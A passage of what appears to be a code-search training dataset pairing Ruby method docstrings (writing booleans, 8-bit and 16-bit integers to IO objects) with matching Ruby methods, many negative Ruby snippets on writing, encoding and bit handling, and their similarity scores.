"def do_write(*args)\n # This method used to forward arguments to @socket.write in a\n # single call like so:\n #\n # @socket.write(*args)\n #\n # Turns out, when each buffer to be written is large (e.g. 32 MiB),\n # this write call would take an extremely long time (20+ seconds)\n # while using 100% CPU. Splitting the writes into chunks produced\n # massively better performance (0.05 seconds to write the 32 MiB of\n # data on the same hardware). Unfortunately splitting the data,\n # one would assume, results in it being copied, but this seems to be\n # a much more minor issue compared to CPU cost of writing large buffers.\n args.each do |buf|\n buf = buf.to_s\n i = 0\n while i < buf.length\n chunk = buf[i...i+WRITE_CHUNK_SIZE]\n @socket.write(chunk)\n i += WRITE_CHUNK_SIZE\n end\n end\n end",
"def write(s)\n @file.write(s)\n end",
"def write(data)\n rescue_writable do\n socket.write_nonblock(data)\n end\n end",
"def write\n\n # output to disk\n File.open(@outfile, 'w:UTF-8') { |file|\n file.write(@buffer)\n }\n end",
"def write(data)\n ret = io.write data\n @receivers.each do |r|\n Fiber.new { r.call data }.resume\n end\n ret\n end",
"def perform( handle, data, offset=0 )\n @handle = handle\n @offset = offset\n @data = data\n @pos = 0\n\n @driver.write( nil, handle, offset, data[0,CHUNK_SIZE] )\n end",
"def write(chunk)\n chunk.read\n end",
"def to_io\n io.to_io\n end",
"def write(data, *args, **kwd); end",
"def write(val)\n @file.seek(@address)\n @file.putc(val)\n @file.flush\n end",
"def write(s)\n @data += s\n end",
"def write(str)\n writing { write0 str }\n end",
"def to_io\n __advance!\n @_st_stream.to_io\n end",
"def write\n raise \"Writers must implement #write\"\n end",
"def write_with_crc(io, content)\n io << [content.length].pack('N') << type << content\n io << [Zlib.crc32(content, Zlib.crc32(type))].pack('N')\n end",
"def write(&block)\n @write_block = block\n end",
"def write(dest); end"
] |
[
"0.77240044",
"0.767987",
"0.72430104",
"0.72015387",
"0.6981127",
"0.6953536",
"0.69503915",
"0.68942535",
"0.68942535",
"0.68886614",
"0.68806094",
"0.68796396",
"0.6869945",
"0.6813113",
"0.67795295",
"0.67501783",
"0.67364347",
"0.6633813",
"0.66079766",
"0.65959054",
"0.652112",
"0.6378383",
"0.63765836",
"0.63678503",
"0.63243693",
"0.632415",
"0.6295164",
"0.6260243",
"0.6260243",
"0.62555796",
"0.62520057",
"0.62520057",
"0.6239035",
"0.62075335",
"0.61998546",
"0.61942166",
"0.61942166",
"0.6187907",
"0.6187907",
"0.6187907",
"0.6187907",
"0.61786777",
"0.617669",
"0.6165325",
"0.6149399",
"0.61241865",
"0.6098175",
"0.6062514",
"0.6040239",
"0.60159546",
"0.6012112",
"0.6006257",
"0.5984589",
"0.59793675",
"0.59725744",
"0.59707874",
"0.59656006",
"0.59541136",
"0.5953098",
"0.59405637",
"0.5897627",
"0.5890949",
"0.5889495",
"0.5885313",
"0.5845302",
"0.58435434",
"0.5830437",
"0.58239216",
"0.5814183",
"0.5811092",
"0.5806442",
"0.57986325",
"0.5797212",
"0.57761097",
"0.57754844",
"0.57706994",
"0.57688284",
"0.5761121",
"0.5759944",
"0.5759944",
"0.5748158",
"0.5740604",
"0.57338053",
"0.57152325",
"0.57115996",
"0.57112145",
"0.57111716",
"0.5701678",
"0.569962",
"0.56983227",
"0.56941944",
"0.56939226",
"0.56856465",
"0.5684804",
"0.5684468",
"0.56827074",
"0.5671089",
"0.5667482",
"0.56648153",
"0.56499064"
] |
0.8240759
|
0
|
Writes an 8bit boolean to the IO object.
|
def write_boolean(boolean)
boolean ? write_int8(1) : write_int8(0)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def write_bool(*b); end",
"def write_booleanr(bool)\n\t\twrite_byte(1)\n\t\twrite_boolean(bool)\n\tend",
"def bool_to_binary(val)\n saved_object_count = @written_object_count\n @written_object_count += 1\n\n @object_table[saved_object_count] = val ? \"\\x9\" : \"\\x8\" # 0x9 is 1001, type indicator for true; 0x8 is 1000, type indicator for false\n return saved_object_count\n end",
"def boolean\n Util.from_bytes :boolean, value\n end",
"def write= w\n @write = (w == 1) ? 1 : 0\n end",
"def bool\n i8u != 0\n end",
"def write8(data, options = {})\n dw \"w1 0x#{extract_address(data, options).to_s(16).upcase}, 0x#{extract_data(data, options).to_s(16).upcase}\"\n end",
"def binary!\n @binary = true\n end",
"def read_bool; end",
"def writeBoolEntry(section, key, value)\n writeIntEntry(section, key, value ? 1 : 0)\n end",
"def write!(value = true)\n @write = value\n end",
"def add_bool(tag, value)\n write_tag(tag, value ? Type::BOOL_TRUE : Type::BOOL_FALSE)\n\n self\n end",
"def writeable?\n (status & (1 << 2)).nonzero?\n end",
"def toggle\n write((read==HIGH) ? LOW : HIGH)\n end",
"def boolean(sym, options={})\n element(sym, {:type => BooleanConverter, :single => true, :reader => false}.merge(options))\n end",
"def write_int8(int)\n write([int].pack(\"C\"))\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_boolean_value(\"isActive\", @is_active)\n end",
"def set_boolean!(value)\n @objects = nil\n @memory = nil\n\n self[:type] = :boolean\n self[:values][:boolean] = if value\n 1\n else\n 0\n end\n end",
"def []=(i, v)\n raise ArgumentError, 'Invalid bit index' unless i >= 0 && i < size\n byte_i = i / 8\n bit_i = i % 8\n if !v || v == 0\n # clear bit\n @bytes[byte_i] = @bytes[byte_i] & (0xff ^ (0x80 >> bit_i))\n else\n # set bit\n @bytes[byte_i] = @bytes[byte_i] | (0x80 >> bit_i)\n end\n v\n end",
"def writeable?(off); Ragweed::Wrap32::writeable? @h, off; end",
"def write_byte(byte)\n write [byte].pack(\"C\")\n end",
"def store_wsbool #:nodoc:\n record = 0x0081 # Record identifier\n length = 0x0002 # Bytes to follow\n\n grbit = 0x0000 # Option flags\n\n # Set the option flags\n grbit |= 0x0001 # Auto page breaks visible\n grbit |= 0x0020 if @outline_style != 0 # Auto outline styles\n grbit |= 0x0040 if @outline_below != 0 # Outline summary below\n grbit |= 0x0080 if @outline_right != 0 # Outline summary right\n grbit |= 0x0100 if @fit_page != 0 # Page setup fit to page\n grbit |= 0x0400 if @outline_on != 0 # Outline symbols displayed\n\n header = [record, length].pack(\"vv\")\n data = [grbit].pack('v')\n\n prepend(header, data)\n end",
"def binary=(binary)\n @@binary = binary\n end",
"def binary=(binary)\n @@binary = binary\n end",
"def i8u\n @io.getbyte\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_object_value(\"logicalTest\", @logical_test)\n writer.write_object_value(\"valueIfFalse\", @value_if_false)\n writer.write_object_value(\"valueIfTrue\", @value_if_true)\n writer.write_additional_data(@additional_data)\n end",
"def writable(value)\n shift_out_with_index { |bit, i| bit.writable = (value[i] == 0b1); bit.set_access_from_rw }\n self\n end",
"def bool()\n val = _int32(\"bool\")\n\n case val\n when 0\n false\n when 1\n true\n else\n raise ArgumentError, \"Invalid value for bool: #{val}\"\n end\n end",
"def bin_mode=(bool)\n @telnet_options[:bin_mode] = bool\n end",
"def raw=(bool)\n @raw = (bool ? true : false)\n end",
"def binary?\n @binary\n end",
"def convert_tinyint_to_bool=(v)\n @conversion_procs[1] = v ? TYPE_TRANSLATOR_BOOLEAN : TYPE_TRANSLATOR_INTEGER\n @convert_tinyint_to_bool = v\n end",
"def write_to(stream)\n stream.write_int(TAG)\n stream.write_bool(@enable)\n end",
"def attr_bool_writer *symbols\n attr_writer *symbols\n end",
"def binary?\n @binary\n end",
"def boolean_attr name, options = {}\n\n attr = add_attribute(BooleanAttribute.new(name, options))\n\n # add the boolean question mark method\n define_method(\"#{attr.name}?\") do\n !!__send__(attr.name)\n end\n\n end",
"def write_binary(buf)\n raise NotImplementedError\n end",
"def bit\n self\n end",
"def boolean_type\n 'Boolean'\n end",
"def binary?\n false\n end",
"def bool(val)\n raise ArgumentError, \"bool() requires a boolean argument\" \\\n unless val == true || val == false\n\n self.int32(val ? 1 : 0)\n end",
"def boolean(name, options={})\n param(:boolean, name, options)\n end",
"def boolean_to_binary(array)\nend",
"def [](i)\n raise ArgumentError, 'Invalid bit index' unless i >= 0 && i < size\n byte_i = i / 8\n bit_i = i % 8\n @bytes[byte_i] & (0x80 >> bit_i) > 0 ? 1 : 0\n end",
"def <<(obj)\n raise Error::TypeError unless obj.is_a?(De::Boolean::Bn)\n super(obj)\n end",
"def boolean(value)\n value ? true : false\n end",
"def bool_conv(value)\n value == HEX_FALSE ? false : true\n end",
"def write(io)\n io.write [@value].pack(format)\n end",
"def to_bool; self; end",
"def to_bool; self; end",
"def boolean(boolI)\n if boolI==1 then\n return true\n end\n return false\nend",
"def binary?\n @format == 1\n end",
"def binary?\n flag? Flags::ARBITRARY_BYTES\n end",
"def write_attribute(attribute, value)\n false\n end",
"def type_bool!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 37 )\n\n\n\n type = TYPE_BOOL\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 213:12: 'bool'\n match( \"bool\" )\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 37 )\n\n\n end",
"def hard=(boolean)\n @hard = !! boolean\n end",
"def little?\n @endian == :little\n end",
"def binary?\n @kind == :binary\n end",
"def format_boolean(val, istruct)\n return istruct.nil_text if val.nil?\n\n val ? istruct.true_text : istruct.false_text\n end",
"def format_boolean(val, istruct)\n return istruct.nil_text if val.nil?\n\n val ? istruct.true_text : istruct.false_text\n end",
"def to_bool() true end",
"def opcode8\n if value_by_mode(1) == value_by_mode(2)\n update_value(1, 3)\n else\n update_value(0, 3)\n end\n move_pointer(4)\n end",
"def write_i(i)\n z.write i.p32\nend",
"def do_write(io)\n raise ArgumentError, \"io must be a BinData::IO\" unless BinData::IO === io\n\n if eval_param(:onlyif)\n _do_write(io)\n end\n end",
"def toread\n Types::Boolean.deserialize(@toread)\n end",
"def to_bool\n is_a?(::TrueClass) || self == :true || self == :yes || self == :on\n end",
"def set?(flag)\n (@status_register & flag == 0) ? false : true\n end",
"def boolean\n map ->(primitive) { primitive.to_bool }\n end",
"def switch(bool)\n $game_switches[Yuki::Sw::Nuzlocke_ENA] = bool\n end",
"def boolean_to_string(b)\n return b.to_s\nend",
"def boolean(name, option={})\n option[:is_a] = :boolean\n register_attribute_member(name, option)\n define_attribute_accessor(name, option)\n method = <<-EOS\n def #{name}?\n get_attribute(:#{name})\n end\nEOS\n class_eval(method, __FILE__, __LINE__)\n define_validations(name, option)\n end",
"def binary? # :nodoc:\n false\n end",
"def little?\n @endian == :little\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_string_value(\"@odata.type\", @odata_type)\n writer.write_boolean_value(\"v10_0\", @v10_0)\n writer.write_boolean_value(\"v8_0\", @v8_0)\n writer.write_boolean_value(\"v8_1\", @v8_1)\n writer.write_additional_data(@additional_data)\n end",
"def setbit(key, offset, value); end",
"def setbit(key, offset, value); end",
"def to_bool\n return true if ['true', '1', 'yes', 'on', 't'].include? self\n return false if ['false', '0', 'no', 'off', 'f'].include? self\n return false\n end",
"def bit(y)\n bit?(y) ? ONE : ZERO\n end",
"def read_bool\n read_word == \"true\"\n end",
"def s8=(value)\n self[:s8] = value\n end",
"def s8=(value)\n self[:s8] = value\n end",
"def s8=(value)\n self[:s8] = value\n end",
"def s8=(value)\n self[:s8] = value\n end",
"def s8=(value)\n self[:s8] = value\n end",
"def s8=(value)\n self[:s8] = value\n end",
"def s8=(value)\n self[:s8] = value\n end",
"def s8=(value)\n self[:s8] = value\n end",
"def s8=(value)\n self[:s8] = value\n end",
"def s8=(value)\n self[:s8] = value\n end",
"def s8=(value)\n self[:s8] = value\n end",
"def s8=(value)\n self[:s8] = value\n end",
"def s8=(value)\n self[:s8] = value\n end",
"def s8=(value)\n self[:s8] = value\n end",
"def s8=(value)\n self[:s8] = value\n end",
"def s8=(value)\n self[:s8] = value\n end",
"def s8=(value)\n self[:s8] = value\n end",
"def s8=(value)\n self[:s8] = value\n end",
"def s8=(value)\n self[:s8] = value\n end",
"def s8=(value)\n self[:s8] = value\n end",
"def s8=(value)\n self[:s8] = value\n end"
] |
[
"0.7299487",
"0.7149008",
"0.61976385",
"0.59821904",
"0.59737766",
"0.58780134",
"0.57552665",
"0.56953734",
"0.5683204",
"0.5656538",
"0.55406576",
"0.5491624",
"0.543189",
"0.54240245",
"0.54226005",
"0.5382854",
"0.5350557",
"0.53317887",
"0.5328034",
"0.52960986",
"0.52786326",
"0.5273743",
"0.5270553",
"0.5270553",
"0.52316046",
"0.520737",
"0.52070236",
"0.52006125",
"0.51928425",
"0.51595664",
"0.515061",
"0.5145329",
"0.5134637",
"0.5128062",
"0.5073691",
"0.506333",
"0.5035915",
"0.50356156",
"0.5029474",
"0.50290406",
"0.50123954",
"0.4998451",
"0.4986728",
"0.49738753",
"0.49729174",
"0.4968981",
"0.49653286",
"0.49645838",
"0.49521494",
"0.49521494",
"0.49486294",
"0.49356762",
"0.49348146",
"0.4934075",
"0.49257275",
"0.49218005",
"0.4912505",
"0.48766634",
"0.48737943",
"0.48737943",
"0.48562473",
"0.4844621",
"0.4841023",
"0.48236224",
"0.48204494",
"0.481638",
"0.48122424",
"0.48072186",
"0.480616",
"0.4803487",
"0.47998992",
"0.47930488",
"0.4786152",
"0.47840917",
"0.4777673",
"0.4777673",
"0.47760028",
"0.47709513",
"0.47648934",
"0.4758667",
"0.4758667",
"0.4758667",
"0.4758667",
"0.4758667",
"0.4758667",
"0.4758667",
"0.4758667",
"0.4758667",
"0.4758667",
"0.4758667",
"0.4758667",
"0.4758667",
"0.4758667",
"0.4758667",
"0.4758667",
"0.4758667",
"0.4758667",
"0.4758667",
"0.4758667",
"0.4758667"
] |
0.7627317
|
0
|
Writes an 8bit integer to the IO object.
|
def write_int8(int)
write([int].pack("C"))
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def write_i(i)\n z.write i.p32\nend",
"def write_varint(int)\n int = int << 1\n int = ~int | 1 if int < 0\n\n chunks = []\n while int >> 7 != 0\n chunks << (int & 0x7f | 0x80)\n int >>= 7\n end\n chunks << int\n write(chunks.pack(\"C*\"))\n end",
"def encode_uint8(int); [int].pack(PACK_FORMAT_UINT8); end",
"def write_int(value, stream = @index)\n stream.write([value].pack('L'))\n end",
"def write(io)\n io.write [@value].pack(format)\n end",
"def write8(data, options = {})\n dw \"w1 0x#{extract_address(data, options).to_s(16).upcase}, 0x#{extract_data(data, options).to_s(16).upcase}\"\n end",
"def write_varint(i, data: nil, stream: nil)\n buf = encode_varint(i)\n data << buf if data\n stream.write(buf) if stream\n buf\n end",
"def write_int(value) \n @codegen.write_int(value)\n end",
"def write_byte(*n); end",
"def write_int16(int)\n write([int].pack(\"s>\"))\n end",
"def i8u\n @io.getbyte\n end",
"def write_int32(int)\n write([int].pack(\"l>\"))\n end",
"def write_byte(byte)\n write [byte].pack(\"C\")\n end",
"def write_int64(int)\n write([int].pack(\"q>\"))\n end",
"def write_int(value) \n write_bytecode_to(INTEGER, @temp_bytecode)\n write_4B_to(value, @temp_bytecode)\n end",
"def encode_and_write_int32(int, mode='file', byte_offset=@file_offset)\n\t\t# make sure 'byte' arrays are clear\n\t\t@byte1.clear\n\t\t@byte2.clear\n\t\t@byte3.clear\n\t\t@byte4.clear\n\t\t# convert int argument into binary, put in arrays\n\t\t31.downto(24) do |x| @byte1.push(int[x]) end\n\t\t23.downto(16) do |x| @byte2.push(int[x]) end\n\t\t15.downto(8) do |x| @byte3.push(int[x]) end\n\t\t7.downto(0) do |x| @byte4.push(int[x]) end\n\n\t\t# order the bytes in little-endian fashion (reverse order), join\n\t\tcorrect_endianness_binary = [@byte4, @byte3, @byte2, @byte1]\n\t\tif mode == 'file'\n\t\t\t# join and pack bytes\n\t\t\tbinary_to_write = [correct_endianness_binary.join].pack(\"B*\")\n\t\t\t# write binary to file with correct offset\n\t\t\tFile.write(@filename, binary_to_write, byte_offset)\n\t\t\t# increment offset for next method call\n\t\t\t@file_offset += 4\n\t\telsif mode == 'dataBlock'\n\t\t\t# push string into dataBlock_array\n\t\t\t@dataBlock_array.push(correct_endianness_binary.join)\n\t\tend\n\tend",
"def write(io)\n io = BinData::IO.new(io) unless BinData::IO === io\n\n do_write(io)\n io.flush\n self\n end",
"def write_bytes(bytes)\n if bytes.nil?\n write_int32(-1)\n else\n write_int32(bytes.bytesize)\n write(bytes)\n end\n end",
"def write_int(file, int, md)\n int = [int].pack('N')\n md << int\n file.write(int)\n end",
"def write(io)\n wu32(io, MAGIC_NUMBER)\n wu16(io, VERSION_MAJOR)\n wu16(io, VERSION_MINOR)\n wi32(io, THIS_ZONE)\n wu32(io, sigfigs)\n wu32(io, snaplen)\n wu32(io, network)\n end",
"def encode_uint8(value)\n [value].pack(\"C\")\n end",
"def encode_and_write_int16(int, mode='file')\n\t\t# make sure 'byte' arrays are clear\n\t\t@byte1.clear\n\t\t@byte2.clear\n\t\t# convert int argument into binary, put in arrays\n\t\t15.downto(8) do |x| @byte1.push(int[x]) end\n\t\t7.downto(0) do |x| @byte2.push(int[x]) end\n\n\t\t# order the bytes in little-endian fashion, join\n\t\tcorrect_endianness_binary = [@byte2, @byte1]\n\n\t\tif mode == 'file'\n\t\t\t# join and pack bytes\n\t\t\tbinary_to_write = [correct_endianness_binary.join].pack(\"B*\")\n\t\t\t# write binary to file with correct offset\n\t\t\tFile.write(@filename, binary_to_write, @file_offset)\n\t\t\t# increment offset for next method call\n\t\t\t@file_offset += 2\n\t\telsif mode == 'dataBlock'\n\t\t\t# push string into dataBlock_array\n\t\t\t@dataBlock_array.push(correct_endianness_binary.join)\n\t\tend\n\tend",
"def i8u\n r = BinUtils.get_int8(@data, @pos)\n @pos += 1\n r\n end",
"def write(bytes)\n @io.write(bytes)\n\n nil\n end",
"def set_int(offset, value)\n @contents.pos = offset\n # convert the value to bytes\n @contents.write [value].pack('l')\n end",
"def write_varint_bytes(bytes)\n if bytes.nil?\n write_varint(-1)\n else\n write_varint(bytes.bytesize)\n write(bytes)\n end\n end",
"def write_binary(buf)\n raise NotImplementedError\n end",
"def write(bytes)\r\n end",
"def []=(i, v)\n raise ArgumentError, 'Invalid bit index' unless i >= 0 && i < size\n byte_i = i / 8\n bit_i = i % 8\n if !v || v == 0\n # clear bit\n @bytes[byte_i] = @bytes[byte_i] & (0xff ^ (0x80 >> bit_i))\n else\n # set bit\n @bytes[byte_i] = @bytes[byte_i] | (0x80 >> bit_i)\n end\n v\n end",
"def i8\n i8s\n end",
"def write(bytes)\n @serial_port.write(bytes)\n end",
"def read__UI8\r\n readbyte\r\n end",
"def write(io)\n write_with_crc(io, content || '')\n end",
"def write(io)\n write_with_crc(io, content || \"\")\n end",
"def varint(io)\n # https://github.com/ruby-protobuf/protobuf/blob/master/lib/protobuf/varint_pure.rb\n value = index = 0\n begin\n byte = io.readbyte\n value |= (byte & 0x7f) << (7 * index)\n index += 1\n end while (byte & 0x80).nonzero?\n value\n end",
"def write= w\n @write = (w == 1) ? 1 : 0\n end",
"def binwrite(data, *args, **kwd); end",
"def record_write bytes\n @reader.record_write bytes, @state\n end",
"def io(data, io)\n io.write(obj)\n end",
"def write_varint_string(string)\n if string.nil?\n write_varint(-1)\n else\n write_varint(string.bytesize)\n write(string)\n end\n end",
"def read_uint8(position = nil)\n seek(position)\n data = read_and_advance(1)\n BinData::Uint8.read(data).to_i\n end",
"def write(file)\n value.each do |item|\n # always write int4 in network order (as per GDSII spec)\n file.write [item].pack('N')\n end\n end",
"def i8s\n BinUtils.get_sint8(read(1))\n end",
"def write_to(io)\n\t@io = io\n\t@bytes_written = 0\n\twrite_header()\n\t@update_block.call(nil, @seq.tracks.length, 0) if @update_block\n\t@seq.tracks.each_with_index do |track, i|\n write_track(track)\n @update_block.call(track, @seq.tracks.length, i) if @update_block\n\tend\n end",
"def write_to(io)\n\t@io = io\n\t@bytes_written = 0\n\twrite_header()\n\t@update_block.call(nil, @seq.tracks.length, 0) if @update_block\n\t@seq.tracks.each_with_index do |track, i|\n write_track(track)\n @update_block.call(track, @seq.tracks.length, i) if @update_block\n\tend\n end",
"def ms_byte; self >> 8; end",
"def write_int64(*n); end",
"def write_magic_number(outf)\n outf.write([0xA115ca1e].pack(\"l\"))\nend",
"def write_magic_number(outf)\n outf.write([0xA115ca1e].pack(\"l\"))\nend",
"def i8s\n r = BinUtils.get_sint8(@data, @pos)\n @pos += 1\n r\n end",
"def write_to io\n io.write(self.to_2da)\n end",
"def encode_varint(i)\n raise ArgumentError, \"int must be present\" if !i\n raise ArgumentError, \"int must be non-negative\" if i < 0\n\n buf = if i < 0xfd\n [i].pack(\"C\")\n elsif i <= 0xffff\n [0xfd, i].pack(\"Cv\")\n elsif i <= 0xffffffff\n [0xfe, i].pack(\"CV\")\n elsif i <= 0xffffffffffffffff\n [0xff, i].pack(\"CQ<\")\n else\n raise ArgumentError, \"Does not support integers larger 0xffffffffffffffff (i = 0x#{i.to_s(16)})\"\n end\n\n buf\n end",
"def write(value, options = {})\n # If an array is written it means a data value and an overlay have been supplied\n # in one go...\n if value.is_a?(Array) && !value.is_a?(BitCollection)\n overlay(value[1])\n value = value[0]\n end\n value = value.data if value.respond_to?('data')\n\n with_lsb0 do\n size.times do |i|\n self[i].write(value[i], options)\n end\n end\n self\n end",
"def stream io, bitlen = 8\n buf = len = 0\n loop do\n until len >= bitlen\n byte = io.getbyte\n raise EOFError if byte.nil?\n len += 8\n buf <<= 8\n buf |= byte\n # puts \"byte: %08b\\nbuf: %0#{len}b (%d/%d)\\n\" % [byte, buf, len, bitlen]\n end\n len -= bitlen\n # puts \"FLUSH: %0#{bitlen}b\" % (buf >> len)\n yield buf >> len\n buf &= ~(~0 << len)\n # puts \"buf: %0#{len}b (%d/%d)\" % [buf, len, bitlen]\n end\n end",
"def write_boolean(boolean)\n boolean ? write_int8(1) : write_int8(0)\n end",
"def write(io)\n if io.is_a?(String)\n io = File.open(io, 'w')\n self.write(io)\n io.close\n return\n end\n\n Marshal.dump(self, io)\n end",
"def push(io, data)\n packet = Marshal.dump data\n lenbytes = [packet.bytesize].pack(LEN_PACK)\n io.write lenbytes\n io.write packet\n io.flush\n end",
"def write(bits)\n @role.send(:packed=, bits, false)\n end",
"def write_to(io)\n end",
"def write_to(io)\n end",
"def write\n file = ::File.open(@file, 'w')\n file.write(Bencode.encode(@data))\n file.close\n end",
"def write\n bytes = []\n @projects.each_slice(NUM_REGISTERS) do |chunk|\n byte = 0\n chunk.each{|p| byte = (byte << 2) | (p.passing? ? PASS_MASK : (p.building? ? BUILD_MASK : FAIL_MASK)) }\n bytes.unshift(byte)\n end\n byte_str = bytes.map{|b| (b ^ 0xFF).chr }.join\n Blinky.log.debug('WRITING BYTES -> %s' % byte_str)\n Blinky.log.debug('WRITING BITS -> %s' % byte_str.unpack('B*'))\n @sp.write(byte_str)\n end",
"def digital_write(value)\n set_mode('w') unless @mode == 'w'\n\n if value.is_a? Symbol\n value = (value == :high) ? 1 : 0\n end\n\n value = value.to_i\n\n raise StandardError unless ([HIGH, LOW].include? value)\n\n @status = (value == 1) ? 'high' : 'low'\n\n @pin_file.write(value)\n @pin_file.flush\n end",
"def putc(obj)\n if obj.is_a?(Numeric)\n write((obj.to_i & 0xff).chr)\n else\n write(obj.to_s.byteslice(0))\n end\n end",
"def i8\n next_bytes(1).unpack(\"c>\").first\n end",
"def write(file)\n # write the length & header; always write length (int2) as network\n # order (as per GDSII spec)\n file.write [self.byte_size].pack('n')\n file.write [self.type].pack('c')\n file.write [self.data.type].pack('c')\n\n # now write the data...\n @data.write(file)\n end",
"def read_uint8(data: nil, stream: nil, offset: 0)\n _read_fixint(name: :uint8, length: 1, pack_format: PACK_FORMAT_UINT8, data: data, stream: stream, offset: offset)\n end",
"def set_bit integer, i\n integer | 0x80000000 >> i\n end",
"def write!\n @dev = File.open(@device, \"w\") if (@dev.nil? || @dev.closed?)\n @dev.write @bytes.pack(\"c*\")\n @dev.flush\n end",
"def serialize(io)\n Encoder.encode(io, self)\n io\n end",
"def write_string(string)\n if string.nil?\n write_int16(-1)\n else\n write_int16(string.bytesize)\n write(string)\n end\n end",
"def write data\n _data[:out].write data\n _data[:out].flush\n end",
"def write(io, constraints = {})\n to_datastream(constraints).write(io)\n end",
"def write(io, constraints = {})\n to_datastream(constraints).write(io)\n end",
"def as_int\n return @as_int unless @as_int.nil?\n _pos = @_io.pos\n @_io.seek(0)\n @as_int = @_io.read_u2be\n @_io.seek(_pos)\n @as_int\n end",
"def send_bitfield(socket)\n if $verb\n puts \"Sent bitfield message\"\n end\n bitfield_length = (@fileio.getBitfield.get_num_of_bits + 7) / 8\n bitfield_data = @fileio.getBitfield.to_binary_data\n socket.write([(1 + bitfield_length), 5].pack(\"Nc\") + bitfield_data)\n end",
"def write pin, value\n if value == 0\n set_int_at(GPCLR0 + PI_BANK(pin), PI_BIT(pin))\n else\n set_int_at(GPSET0 + PI_BANK(pin), PI_BIT(pin))\n end\n end",
"def do_write(io)\n raise ArgumentError, \"io must be a BinData::IO\" unless BinData::IO === io\n\n if eval_param(:onlyif)\n _do_write(io)\n end\n end",
"def put_i32(arg)\n @data += [arg].pack(\"N\")\n self\n end",
"def write(io)\n @values.each {|field|\n field.write io\n }\n end",
"def write_with_crc(io, content)\n io << [content.length].pack('N') << type << content\n io << [Zlib.crc32(content, Zlib.crc32(type))].pack('N')\n end",
"def write_with_crc(io, content)\n io << [content.length].pack(\"N\") << type << content\n io << [Zlib.crc32(content, Zlib.crc32(type))].pack(\"N\")\n end",
"def write(s)\n do_write(s)\n s.bytesize\n end",
"def write_to(stream)\n stream.write_int(TAG)\n end",
"def write_to(stream)\n stream.write_int(TAG)\n end",
"def write_to(stream)\n stream.write_int(TAG)\n end",
"def s8=(value)\n self[:s8] = value\n end",
"def s8=(value)\n self[:s8] = value\n end",
"def s8=(value)\n self[:s8] = value\n end",
"def s8=(value)\n self[:s8] = value\n end",
"def s8=(value)\n self[:s8] = value\n end",
"def s8=(value)\n self[:s8] = value\n end",
"def s8=(value)\n self[:s8] = value\n end",
"def s8=(value)\n self[:s8] = value\n end",
"def s8=(value)\n self[:s8] = value\n end",
"def s8=(value)\n self[:s8] = value\n end",
"def s8=(value)\n self[:s8] = value\n end",
"def s8=(value)\n self[:s8] = value\n end",
"def s8=(value)\n self[:s8] = value\n end",
"def s8=(value)\n self[:s8] = value\n end"
] |
[
"0.6684698",
"0.6608419",
"0.6507216",
"0.64572746",
"0.6446795",
"0.6424291",
"0.63450706",
"0.6329984",
"0.6321829",
"0.6317031",
"0.62843823",
"0.62360305",
"0.62215775",
"0.6158286",
"0.61564684",
"0.6070906",
"0.6049056",
"0.60213804",
"0.6014682",
"0.59742707",
"0.5956027",
"0.5918415",
"0.59176564",
"0.58876455",
"0.585971",
"0.5817013",
"0.5771017",
"0.57294476",
"0.5675683",
"0.5520064",
"0.5506253",
"0.55029494",
"0.54843974",
"0.54347414",
"0.542415",
"0.54149306",
"0.54107726",
"0.53855693",
"0.5374518",
"0.53676087",
"0.5358095",
"0.532113",
"0.53102523",
"0.5309993",
"0.5309993",
"0.52986217",
"0.5295444",
"0.52536017",
"0.52536017",
"0.5253387",
"0.520365",
"0.5185207",
"0.5182341",
"0.51798725",
"0.5174603",
"0.5170096",
"0.5165616",
"0.5163969",
"0.5157962",
"0.5157962",
"0.5118064",
"0.5115467",
"0.51122296",
"0.5110035",
"0.5108526",
"0.5098805",
"0.50925064",
"0.50831515",
"0.5078098",
"0.5071969",
"0.50349516",
"0.5033459",
"0.5031693",
"0.5031693",
"0.5024121",
"0.5022902",
"0.5022841",
"0.50227314",
"0.50174224",
"0.5011178",
"0.5004427",
"0.49878556",
"0.49727497",
"0.4963903",
"0.4963903",
"0.4963903",
"0.4949615",
"0.4949615",
"0.4949615",
"0.4949615",
"0.4949615",
"0.4949615",
"0.4949615",
"0.4949615",
"0.4949615",
"0.4949615",
"0.4949615",
"0.4949615",
"0.4949615",
"0.4949615"
] |
0.7866866
|
0
|
Writes a 16bit integer to the IO object.
|
def write_int16(int)
write([int].pack("s>"))
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def write16(val)\n\tval = (-val) | 0x8000 if val < 0\n\tputc((val >> 8) & 0xff)\n\tputc(val & 0xff)\n end",
"def encode_and_write_int16(int, mode='file')\n\t\t# make sure 'byte' arrays are clear\n\t\t@byte1.clear\n\t\t@byte2.clear\n\t\t# convert int argument into binary, put in arrays\n\t\t15.downto(8) do |x| @byte1.push(int[x]) end\n\t\t7.downto(0) do |x| @byte2.push(int[x]) end\n\n\t\t# order the bytes in little-endian fashion, join\n\t\tcorrect_endianness_binary = [@byte2, @byte1]\n\n\t\tif mode == 'file'\n\t\t\t# join and pack bytes\n\t\t\tbinary_to_write = [correct_endianness_binary.join].pack(\"B*\")\n\t\t\t# write binary to file with correct offset\n\t\t\tFile.write(@filename, binary_to_write, @file_offset)\n\t\t\t# increment offset for next method call\n\t\t\t@file_offset += 2\n\t\telsif mode == 'dataBlock'\n\t\t\t# push string into dataBlock_array\n\t\t\t@dataBlock_array.push(correct_endianness_binary.join)\n\t\tend\n\tend",
"def write16(data, options = {})\n dw \"w2 0x#{extract_address(data, options).to_s(16).upcase}, 0x#{extract_data(data, options).to_s(16).upcase}\"\n end",
"def write(io)\n io.write [@value].pack(format)\n end",
"def write_int(value, stream = @index)\n stream.write([value].pack('L'))\n end",
"def uint16()\n _uint16(\"uint16\")\n end",
"def write_int(value) \n @codegen.write_int(value)\n end",
